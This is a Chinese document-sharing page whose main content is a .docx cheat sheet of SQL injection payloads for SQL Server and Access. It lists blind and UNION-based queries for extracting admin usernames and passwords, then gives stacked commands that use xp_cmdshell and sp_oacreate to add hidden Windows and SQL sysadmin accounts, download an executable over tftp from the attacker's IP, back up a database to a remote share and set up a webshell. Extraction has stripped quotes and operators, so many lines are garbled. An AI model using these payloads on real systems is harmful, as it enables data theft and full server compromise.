ImageVerifierCode 换一换
格式:DOCX , 页数:7 ,大小:19.31KB ,
资源ID:6089264      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/6089264.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(最新整理SQL注入语句标准语法要点是怎样的.docx)为本站会员(b****6)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

最新整理SQL注入语句标准语法要点是怎样的.docx

1、最新整理SQL注入语句标准语法要点是怎样的SQL注入语句标准语法要点是怎样的 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。很多情况下由于程序员的安全意识薄弱或基本功不足就容易导致sql注入安全问题,建议大家多看一下网上的安全文章,最好的防范就是先学会攻击,下面一起看看要点! 方法技巧 1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等. and 0(select count(*) from *) and

2、0(select count(*) from admin) -判断是否存在admin这张表 3.猜帐号数目 如果遇到0 返回正确页面 1返回错误页面说明帐号数目就是1个 and 0(select count(*) from admin) and 1(select count(*) from admin) 4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. and 1=(select count(*) from admin where len(*)0)- and 1=(select count(*) from admin where len(用户字段名称name)0) and 1

3、=(select count(*) from admin where len(密码字段名称password)0) 5.猜解各个字段的长度 猜解长度就是把0变换 直到返回正确页面为止 and 1=(select count(*) from admin where len(*)0) and 1=(select count(*) from admin where len(name)6) 错误 and 1=(select count(*) from admin where len(name)5) 正确 长度是6 and 1=(select count(*) from admin where len(n

4、ame)=6) 正确 and 1=(select count(*) from admin where len(password)11) 正确 and 1=(select count(*) from admin where len(password)12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确 6.猜解字符 and 1=(select count(*) from admin where left(name,1)=a) -猜解用户帐号的第一位 and 1=(select count(*) from

5、 admin where left(name,2)=ab)-猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1)=51) - 这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. group by users.id having 1=1- group by users.id, users.username, users.password, users.privs h

6、aving 1=1- ; insert into users values( 666, attacker, foobar, 0xffff )- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN (login_id)- UNION SE

7、LECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN (login_id,login_name)- UNION SELECT TOP 1 login_name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_name=Rahul- 看服务器打的补丁=出错了打了SP4补丁 and 1=(select VERSION)- 看数据库连接账号的权

8、限,返回正常,证明是服务器角色sysadmin权限。 and 1=(SELECT IS_SRVROLEMEMBER(sysadmin)- 判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) and sa=(SELECT System_user)- and user_name()=dbo- and 0(select user_name()- 看xp_cmdshell是否删除 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)- xp_cmdshel

9、l被删除,恢复,支持绝对路径的恢复 ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll- ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:inetpubwwwrootxplog70.dll- 反向PING自己实验 ;use master;declare s int;exec sp_oacreate wscript.shell,s out;exec sp_oamethod s,run,NULL,cmd.exe /c ping 192.168.0.1;- 加帐号 ;DECLARE

10、 shell INT EXEC SP_OACREATE wscript.shell,shell OUTPUT EXEC SP_OAMETHOD shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add- 创建一个虚拟目录E盘: ;declare o int exec sp_oacreate wscript.shell, o out exec sp_oamethod o, run, NULL, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w 默认Web站点 -v e

11、,e:- 访问属性:(配合写入一个webshell) declare o int exec sp_oacreate wscript.shell, o out exec sp_oamethod o, run, NULL, cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse 爆库 特殊技巧::%5c= 或者把/和 修改%5提交 and 0(select top 1 paths from newtable)- 得到库名(从1到5都是系统的id,6以上才可以判断) and 1=(select name from mast

12、er.dbo.sysdatabases where dbid=7)- and 0(select count(*) from master.dbo.sysdatabases where name1 and dbid=6) 依次提交 dbid = 7,8,9. 得到更多的数据库名 and 0(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin and 0(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Adm

13、in) 来得到其他的表。 and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid(str(id) 暴到UID的数值假设为18779569 uid=id and 0(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id and 0(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name

14、not in (id,.) 来暴出其他的字段 and 0(select user_id from BBS.dbo.admin where username1) 可以得到用户名 依次可以得到密码。假设存在user_id username ,password 等字段 and 0(select count(*) from master.dbo.sysdatabases where name1 and dbid=6) and 0(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 and 0(select top 1 name f

15、rom bbs.dbo.sysobjects where xtype=U and name not in(Address) and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid(str(id) 判断id值 and 0(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin ?id=-

16、1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) 得到WEB路径 ;create table dbo.swap (swappasschar(255);- and (select top 1 swappass from swap)=1- ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500) Declare test varchar(20) exec master.xp_regread rootkey=HKEY_LOCAL_M

17、ACHINE, key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots, value_name=/, values=test OUTPUT insert into paths(path) values(test)- ;use ku1;- ;create table cmd (str image);- 建立image类型的表cmd 存在xp_cmdshell的测试过程: ;exec master.xp_cmdshell dir ;exec master.dbo.sp_addlogin jiaoniang$;- 加SQL帐号

18、;exec master.dbo.sp_password null,jiaoniang$,1866574;- ;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;- ;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;- ;exec master.dbo.xp_cmdshell net localgroup admin

19、istrators jiaoniang$ /add;- exec master.xp_servicecontrol start, schedule 启动服务 exec master.xp_servicecontrol start, server ; DECLARE shell INT EXEC SP_OACREATE wscript.shell,shell OUTPUT EXEC SP_OAMETHOD shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add ;DECLARE shell INT EX

20、EC SP_OACREATE wscript.shell,shell OUTPUT EXEC SP_OAMETHOD shell,run,null, C:WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add ; exec master.xp_cmdshell tftp -i youip get file.exe- 利用TFTP上传文件 ;declare a sysname set a=xp_+cmdshell exec a dir c: ;declare a sysname set a=xp+_cm+dshe

21、ll exec a dir c: ;declare a;set a=db_name();backup database a to disk=你的IP你的共享目录bak.dat 如果被限制则可以。 select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax) 查询构造: SELECT * FROM news WHERE id=. AND topic=. AND . adminand 1=(select count(*) from user where username=victim

22、 and right(left(userpass,01),1)=1) and userpass select 123;- ;use master;- :a or name like fff%;- 显示有一个叫ffff的用户哈。 and 1(select count(email) from user);- ;update users set email=(select top 1 name from sysobjects where xtype=u and status0) where name=ffff;- ;update users set email=(select top 1 id fr

23、om sysobjects where xtype=u and name=ad) where name=ffff;- ;update users set email=(select top 1 name from sysobjects where xtype=u and id581577110) where name=ffff;- ;update users set email=(select top 1 count(id) from password) where name=ffff;- ;update users set email=(select top 1 pwd from passw

24、ord where id=2) where name=ffff;- ;update users set email=(select top 1 name from password where id=2) where name=ffff;- 上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 通过查看ffff的用户资料可得第一个用表叫ad 然后根据表名ad得到这个表的ID 得到第二个表的名字 insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), c

25、har(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)- insert into users values( 667,123,123,0xffff)- insert into users values ( 123, admin-, password, 0xffff)- ;and user0 ;and (select count(*) from sysobjects)0 ;and (select count(*) from mysysobjects)0 /为access数据库 枚举出数据表名 ;update aaa set a

26、aa=(select top 1 name from sysobjects where xtype=u and status0);- 这是将第一个表名更新到aaa的字段处。 读出第一个表,第二个表可以这样读出来(在条件后加上 and name刚才得到的表名)。 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status0 and namevote);- 然后id=1552 and exists(select * from aaa where aaa5) 读出第二个表,一个个的读出,直到没有为止。

27、 读字段是这样: ;update aaa set aaa=(select top 1 col_name(object_id(表名),1);- 然后id=152 and exists(select * from aaa where aaa5)出错,得到字段名 ;update aaa set aaa=(select top 1 col_name(object_id(表名),2);- 然后id=152 and exists(select * from aaa where aaa5)出错,得到字段名 获得数据表名将字段值更新为表名,再想法读出这个字段的值就可得到表名 update 表名 set 字段=

28、(select top 1 name from sysobjects where xtype=u and status0 and name你得到的表名 查出一个加一个) where 条件 select top 1 name from sysobjects where xtype=u and status0 and name not in(table1,table2,) 通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号当前帐号必须是SYSADMIN组 获得数据表字段名将字段值更新为字段名,再想法读出这个字段的值就可得到字段名 update 表名 set 字段=(select to

29、p 1 col_name(object_id(要查询的数据表名),字段列如:1) where 条件 补充:SQL注入技术 强制产生错误 对数据库类型、版本等信息进行识别是此类型攻击的动机所在。它的目的是收集数据库的类型、结构等信息为其他类型的攻击做准备,可谓是攻击的一个预备步骤。利用应用程序服务器返回的默认错误信息而取得漏洞信息。 采用非主流通道技术 除HTTP响应外,能通过通道获取数据,然而,通道大都依赖与数据库支持的功能而存在,所以这项技术不完全适用于所有的数据库平台。SQL注入的非主流通道主要有E-mail、DNS以及数据库连接,基本思想为:先对SQL查询打包,然后借助非主流通道将信息反

30、馈至攻击者。 使用特殊的字符 不同的SQL数据库有许多不同是特殊字符和变量,通过某些配置不安全或过滤不细致的应用系统能够取得某些有用的信息,从而对进一步攻击提供方向。 使用条件语句 此方式具体可分为基于内容、基于时间、基于错误三种形式。一般在经过常规访问后加上条件语句,根据信息反馈来判定被攻击的目标。 利用存储过程 通过某些标准存储过程,数据库厂商对数据库的功能进行扩展的同时,系统也可与进行交互。部分存储过程可以让用户自行定义。通过其他类型的攻击收集到数据库的类型、结构等信息后,便能够建构执行存储过程的命令。这种攻击类型往往能达到远程命令执行、特权扩张、拒绝服务的目的。 避开输入过滤技术 虽然

31、对于通常的编码都可利用某些过滤技术进行SQL注入防范,但是鉴于此种情况下也有许多方法避开过滤,一般可达到此目的的技术手段包括SQL注释和动态查询的使用,利用截断,URL编码与空字节的使用,大小写变种的使用以及嵌套剥离后的表达式等等。借助于此些手段,输入构思后的查询可以避开输入过滤,从而攻击者能获得想要的查询结果。 推断技术 能够明确数据库模式、提取数据以及识别可注入参数。此种方式的攻击通过网站对用户输入的反馈信息,对可注入参数、数据库模式推断,这种攻击构造的查询执行后获得的答案只有真、假两种。基于推断的注入方式主要分为时间测定注入与盲注入两种。前者是在注入语句里加入语句诸如waitfor 100,按照此查询结果出现的时间对注入能否成功和数据值范围的推导进行判定;后者主要是and l=l、and l=2两种经典注入方法。这些方式均是对一些间接关联且能取得回应的问题进行提问,进而通过响应信息推断出想要信息,然后进行攻击。

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1